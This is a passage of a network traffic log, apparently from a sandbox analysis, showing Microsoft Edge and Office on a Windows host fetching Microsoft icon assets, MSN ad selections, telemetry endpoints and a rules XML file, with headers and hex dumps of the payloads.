2024-11-25 06:53:52 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49910	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-178bfbc474bscnbchC1NYCe7eg000000075g00000000d36f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49909	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-15b8b599d88z9sc7hC1TEBkr4w00000005m000000000hpy0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49912	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 6e533cfd-401e-0006-17bf-3e9f7f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-178bfbc474bq2pr7hC1NYCkfgg0000000780000000006ctc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49908	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:52 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: b89fa148-901e-002d-4fd8-3cebc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065352Z-174c587ffdfb485jhC1TEBmc1s00000005ag00000000hfp4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:52 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:52 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065352Z-174c587ffdftjz9shC1TEBsh9800000005hg0000000007y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49915	23.101.168.44	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:52 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2DA1B1BEC00C601118A0A4FCC1806184&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9719eadb19864642fca01a396c8430dd HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1
2024-11-25 06:53:53 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49916	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=281765 Expires: Thu, 28 Nov 2024 13:09:58 GMT Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49914	20.189.173.24	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732517629967&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1
2024-11-25 06:53:53 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 30 36 3a 35 33 3a 34 39 2e 39 36 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 38 34 65 30 34 65 61 33 2d 30 30 39 34 2d 34 37 62 34 2d 62 35 65 63 2d 62 64 38 35 66 66 35 36 33 37 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 32 37 39 31 39 30 36 36 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T06:53:49.962Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"84e04ea3-0094-47b4-b5ec-bd85ff563714","epoch":"2791906638"},"app":{"locale
2024-11-25 06:53:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=78e7804cbb4f4d619ff59b463d8a18ff&HASH=78e7&LV=202411&V=4&LU=1732517633329; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 06:53:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b68f286c8c8446a8b574adfd2ead9645; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 07:23:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3362 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49920	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=414086 Expires: Sat, 30 Nov 2024 01:55:19 GMT Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 